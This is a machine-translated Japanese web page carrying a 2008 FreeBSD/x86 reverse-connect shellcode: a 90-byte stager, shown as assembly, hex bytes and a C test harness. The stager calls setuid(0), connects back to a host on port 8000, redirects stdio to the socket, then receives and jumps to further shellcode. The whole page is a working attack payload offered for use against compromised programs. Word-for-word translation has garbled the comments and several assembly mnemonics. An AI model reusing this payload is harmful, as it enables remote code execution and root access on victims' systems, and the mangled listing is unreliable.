このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


FreeBSD/x86 - 逆転する connect dl(shellcode) and 遂行する/発効させる, 出口 - 90 bytes
/*
; sm4x - 2008
; 逆転する connect dl(shellcode) and 遂行する/発効させる, 出口
;  - i've used this to 料金d pwnd progs 抱擁する messy shellcode ret'ing the results over nc ;)
;  - 料金d it with a $nc -vvl -p8000 <shellcode_in_file
; setuid(0); socket(); connect(); dups(); recv(); jmp; 出口();
; 90 bytes (NULL 解放する/自由な dep on remote 演説(する)/住所)
; FreeBSD 7.0-RELEASE

全世界の _start
_start:

xor     eax, eax

; --- setuid(0)
押し進める    eax
押し進める    eax
mov     al, 0x17
押し進める    eax
int     0x80

; --- socket()
押し進める    eax
押し進める    byte 0x01
押し進める    byte 0x02
mov     al, 0x61
押し進める    eax
int     0x80
mov     edx, eax

; --- sockaddr_in 体制/機構
押し進める    0x90011ac      ; host 172.17.0.9 (.0. is a NULL)
押し進める    0x401f02AA     ; port 8000
mov     eax, esp

; --- 体制/機構 connect(edx, eax, 0x10);
押し進める    byte 0x10
押し進める    eax
押し進める    edx
xor     eax, eax
mov     al, 0x62
押し進める    eax
int     0x80
jne     done

; --- dup2(0+1+2) - 除去する if you dont want results sent over the wire
mov     cl, 0x03
xor     ebx, ebx
dups:
押し進める    ebx
押し進める    edx
mov     al, 0x5a
押し進める    eax
int     0x80
inc     ebx
宙返り飛行    dups

; --- recv(fd, *buf, 1028);
xor     eax, eax
押し進める    word 0x0404      ; conf read size here
lea     ecx, [esp-0x0404] ; and here
押し進める    ecx          
押し進める    edx
mov     al, 0x03
押し進める    eax
int     0x80

; --- jmp to recv shellcode
jmp     ecx          ; run shellcode
done:

; --- 出口 (optional -> pls 出口 from jmp shellcode)
xor     eax, eax
inc     eax
押し進める    eax
押し進める    eax
int     0x80

*/

#含む <stdio.h>
#含む <sys/socket.h>
#含む <netinet/in.h>

char code[] = "\x31\xc0\x50\x50\xb0\x17\x50\xcd\x80\x50"
       "\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89"
       "\xc2\x68\xac\x11\x00\x09\x68\xaa\x02\x1f"
       "\x40\x89\xe0\x6a\x10\x50\x52\x31\xc0\xb0"
       "\x62\x50\xcd\x80\x75\x24\xb1\x03\x31\xdb"
       "\x53\x52\xb0\x5a\x50\xcd\x80\x43\xe2\xf6"
       "\x31\xc0\x66\x68\x04\x04\x8d\x8c\x24\xfc"
       "\xfb\xff\xff\x51\x52\xb0\x03\x50\xcd\x80"
       "\xff\xe1\x31\xc0\x40\x50\x50\xcd\x80";

int main(int argc, char **argv) {       
 int (*func)();
 printf("Bytes: %d\n", sizeof(code));
 func = (int (*)()) code;
 (int)(*func)(); 
}